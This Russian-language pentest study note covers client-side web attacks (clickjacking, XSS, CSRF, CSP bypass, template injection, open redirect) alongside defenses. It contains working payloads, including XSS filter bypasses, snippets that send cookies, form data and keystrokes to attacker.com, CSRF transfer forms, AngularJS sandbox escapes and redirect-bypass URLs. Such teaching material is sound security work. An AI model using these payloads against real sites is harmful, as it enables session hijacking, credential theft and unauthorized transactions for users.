The book of Magnus

IT-заметки и знания

Основы пентеста. Клиентские атаки веб-приложений

Tags = [ Client_side_attacks, Pentest_base ]

Злоумышленники могут атаковать не только серверную часть приложения, но и клиентскую.

Clickjacking

Описание

Clickjacking (UI Redressing) — метод обмана пользователя, при котором злоумышленник накладывает невидимый слой поверх легитимной страницы. Когда пользователь кликает по видимым элементам, на самом деле происходит взаимодействие со скрытым слоем.

Механизм атаки

  1. Злоумышленник создает вредоносную страницу
  2. На страницу встраивается целевой сайт через <iframe>
  3. iframe делается невидимым через CSS (opacity: 0)
  4. Пользователь думает, что взаимодействует с безопасным контентом
  5. Фактически клики происходят по скрытому iframe

Пример кода

<!DOCTYPE html>
<html>
<head>
    <style>
        #target-website {
            position: absolute;
            width: 800px;
            height: 600px;
            opacity: 0;
            z-index: 2;
        }
        #decoy-content {
            position: absolute;
            width: 800px;
            height: 600px;
            z-index: 1;
        }
    </style>
</head>
<body>
    <div id="decoy-content">
        <h1>Нажмите, чтобы получить приз!</h1>
        <button>ПОЛУЧИТЬ</button>
    </div>
    <iframe id="target-website" src="https://bank.example.com/transfer"></iframe>
</body>
</html>

Возможные последствия

  • Несанкционированные действия от имени пользователя
  • Кража конфиденциальной информации
  • Подписка на нежелательные сервисы
  • Изменение настроек аккаунта
  • Выполнение финансовых транзакций

Защита

На стороне сервера:

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'

На стороне клиента (JavaScript):

if (top !== self) {
    top.location = self.location;
}

Cross-Site Scripting (XSS)

Описание

XSS — уязвимость, позволяющая внедрить вредоносный код (обычно JavaScript) в веб-страницу, который будет выполнен в браузере других пользователей.

Типы XSS

1. Reflected XSS (Отраженный)

Вредоносный код передается через URL и отображается на странице без сохранения.

Пример:

https://example.com/search?q=<script>alert(document.cookie)</script>

2. Stored XSS (Хранимый)

Вредоносный код сохраняется на сервере (в БД, комментариях, профиле) и выполняется при каждом просмотре.

Пример:

<!-- Комментарий на форуме -->
<script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

3. DOM-Based XSS

Уязвимость возникает на стороне клиента при небезопасной обработке данных через JavaScript.

Уязвимые функции:

// Опасно!
eval(userInput);
document.write(userInput);
element.innerHTML = userInput;
location.href = userInput;
setTimeout(userInput, 1000);
setInterval(userInput, 1000);

// Безопасные альтернативы
element.textContent = userInput;  // вместо innerHTML
element.innerText = userInput;

Продвинутые техники эксплуатации

Обход фильтров

// Изменение регистра
<ScRiPt>alert('XSS')</sCrIpT>

// Кодирование
<script>\u0061\u006C\u0065\u0072\u0074('XSS')</script>
%3Cscript%3Ealert('XSS')%3C/script%3E

// HTML entities
&lt;script&gt;alert('XSS')&lt;/script&gt;

// Альтернативные теги
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<object data="javascript:alert('XSS')">

// Без скобок
<script>alert`XSS`</script>
<script>alert(String.fromCharCode(88,83,83))</script>

// События без пробелов
<img/src/onerror=alert('XSS')>
<svg/onload=alert('XSS')>

// Загрузка внешнего скрипта
<script src=//attacker.com/evil.js></script>
<script src="data:text/javascript,alert('XSS')"></script>

Возможности при эксплуатации XSS

  1. Кража cookies:
fetch('https://attacker.com/log?c=' + document.cookie);
  1. Кража учетных данных:
document.addEventListener('submit', function(e) {
    let formData = new FormData(e.target);
    fetch('https://attacker.com/creds', {
        method: 'POST',
        body: formData
    });
});
  1. Keylogging:
document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/keys?k=' + e.key);
});
  1. Изменение содержимого страницы:
document.body.innerHTML = '<h1>Сайт взломан!</h1>';
  1. Фишинг:
document.body.innerHTML = `
    <form action="https://attacker.com/steal" method="POST">
        <input name="password" placeholder="Введите пароль для продолжения">
        <button>Войти</button>
    </form>
`;

Защита от XSS

На стороне сервера:

# Python (Flask)
from flask import escape
output = escape(user_input)

# PHP
$output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

# Node.js
const escapeHtml = require('escape-html');
output = escapeHtml(userInput);

Content Security Policy:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'

HTTPOnly Cookie:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

Cross-Site Request Forgery (CSRF)

Описание

CSRF — атака, заставляющая аутентифицированного пользователя выполнить нежелательное действие на веб-приложении без его ведома.

Механизм атаки

  1. Пользователь авторизован на сайте bank.com
  2. Злоумышленник отправляет фишинговую ссылку
  3. При переходе автоматически выполняется запрос от имени пользователя

Примеры атак

GET запрос:

<img src="https://bank.com/transfer?to=attacker&amount=10000">

POST запрос:

<form action="https://bank.com/transfer" method="POST" id="csrf-form">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>

Через AJAX:

fetch('https://bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({to: 'attacker', amount: 10000})
});

Защита от CSRF

1. CSRF Token:

<!-- В форме -->
<form method="POST" action="/transfer">
    <input type="hidden" name="csrf_token" value="random_unpredictable_token">
    <input type="text" name="amount">
    <button>Отправить</button>
</form>
# Проверка на сервере
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

2. SameSite Cookie:

Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax

3. Проверка Referer/Origin:

if request.headers.get('Origin') != 'https://trusted-site.com':
    abort(403)

4. Double Submit Cookie:

// Установить токен в cookie и форме
document.cookie = 'csrf_token=' + token;
form.csrf_token.value = token;

// На сервере сравнить значения

Content Security Policy (CSP) Bypass

Описание CSP

CSP — механизм безопасности, позволяющий ограничить источники контента, который может быть загружен и выполнен на странице.

Основные директивы

Content-Security-Policy: 
    default-src 'self';
    script-src 'self' 'unsafe-inline' https://trusted.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.example.com;
    frame-src 'none';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;

Техники обхода CSP

1. Использование разрешенных доменов

Если в CSP разрешен доверенный домен с XSS:

Content-Security-Policy: script-src 'self' trusted-but-vulnerable.com;
<!-- Эксплуатация -->
<script src="https://trusted-but-vulnerable.com/xss.php?payload=alert(1)"></script>

2. JSONP endpoints

Content-Security-Policy: script-src 'self' api.example.com;
<script src="https://api.example.com/jsonp?callback=alert(document.domain)"></script>

3. AngularJS (старые версии)

Если разрешен 'unsafe-eval':

{{constructor.constructor('alert(1)')()}}

4. Загрузка через разрешенные CDN

Content-Security-Policy: script-src 'self' cdnjs.cloudflare.com;
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

5. Base Tag Injection

Если нет base-uri:

<base href="https://attacker.com/">
<script src="/evil.js"></script>

6. Dangling Markup

<script src="data:text/javascript,alert('XSS')"></script>

Современная защита

Строгий CSP:

Content-Security-Policy: 
    default-src 'none';
    script-src 'nonce-{random}' 'strict-dynamic';
    style-src 'nonce-{random}';
    img-src 'self';
    connect-src 'self';
    base-uri 'none';
    frame-ancestors 'none';

Client-Side Template Injection (CSTI)

Описание

CSTI — внедрение вредоносного кода в шаблоны на стороне клиента (AngularJS, Vue.js, React и др.), приводящее к выполнению JavaScript.

AngularJS

Версии 1.0.1 - 1.5.8 (с sandbox)

// 1.2.0 - 1.2.1
{{constructor.constructor('alert(1)')()}}

// 1.2.24 - 1.2.29
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

// 1.3.0 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//')}}

// 1.4.0 - 1.5.8
{{x = {'y':''.constructor.prototype};
  x['y'].charAt=[].join;
  $eval('x=alert(1)')}}

Версии 1.6.0+ (без sandbox)

{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}

Vue.js

<div v-html="constructor.constructor('alert(1)')()"></div>

{{_c.constructor('alert(1)')()}}

React

// Dangerously Set innerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Пример эксплуатации
userInput = "<img src=x onerror=alert(1)>"

Обнаружение CSTI

Тестовые payload:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Если отображается 49 вместо самого выражения — возможна CSTI.

Инструменты

# Автоматический сканер для AngularJS
git clone https://github.com/tijme/angularjs-csti-scanner
python3 angularjs-csti-scanner.py -u https://target.com

Open Redirect

Описание

Open Redirect — уязвимость, позволяющая перенаправить пользователя на произвольный URL через параметр запроса.

Примеры уязвимых URL

https://example.com/redirect?url=https://evil.com
https://example.com/logout?next=https://evil.com
https://example.com/login?return=https://evil.com
https://example.com/oauth?redirect_uri=https://evil.com

Техники обхода защиты

# Whitelist bypass
https://example.com/redirect?url=https://example.com.evil.com
https://example.com/redirect?url=https://evil.com@example.com
https://example.com/redirect?url=https://evil.com%00.example.com
https://example.com/redirect?url=//evil.com
https://example.com/redirect?url=/\/evil.com
https://example.com/redirect?url=\/\/evil.com

# URL encoding
https://example.com/redirect?url=https%3A%2F%2Fevil.com
https://example.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d

# Параметры в параметрах
https://example.com/redirect?url=https://example.com?url=https://evil.com

# JavaScript protocol
https://example.com/redirect?url=javascript:alert(1)
https://example.com/redirect?url=java%09script:alert(1)

Поиск через Google Dorks

inurl:url=http site:example.com
inurl:redirect=http site:example.com
inurl:return=http site:example.com
inurl:next=http site:example.com
inurl:redir=http site:example.com
inurl:dest=http site:example.com
inurl:destination=http site:example.com
inurl:out=http site:example.com
inurl:view=http site:example.com

Автоматизация

# Поиск с помощью OpenRedireX
git clone https://github.com/devanshbatham/OpenRedireX
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# С помощью ffuf
ffuf -u https://example.com/redirect?url=FUZZ -w payloads.txt -mc 301,302,307,308

Защита

# Whitelist
ALLOWED_DOMAINS = ['example.com', 'trusted.com']

def is_safe_redirect(url):
    parsed = urllib.parse.urlparse(url)
    return parsed.netloc in ALLOWED_DOMAINS

# Относительные пути
if url.startswith('/') and not url.startswith('//'):
    return redirect(url)

# Проверка на внутренний URL
if url.startswith(request.host_url):
    return redirect(url)

Общие рекомендации по безопасности

Для разработчиков

  1. Валидация и санитизация входных данных
  2. Использование параметризованных запросов
  3. Установка правильных HTTP заголовков безопасности
  4. Регулярное обновление зависимостей
  5. Использование CSP с nonce/hash
  6. Включение HttpOnly, Secure, SameSite для cookies

Для пентестеров

  1. Используйте различные encoding техники
  2. Тестируйте разные контексты (HTML, JS, URL, CSS)
  3. Проверяйте все точки ввода данных
  4. Автоматизируйте с помощью инструментов, но проверяйте вручную
  5. Документируйте все находки с PoC

Полезные инструменты

  • Burp Suite — перехват и модификация запросов
  • OWASP ZAP — автоматическое сканирование
  • XSStrike — поиск XSS уязвимостей
  • CSP Evaluator — анализ CSP политик
  • Nuclei — шаблоны для поиска уязвимостей

Дополнительные ресурсы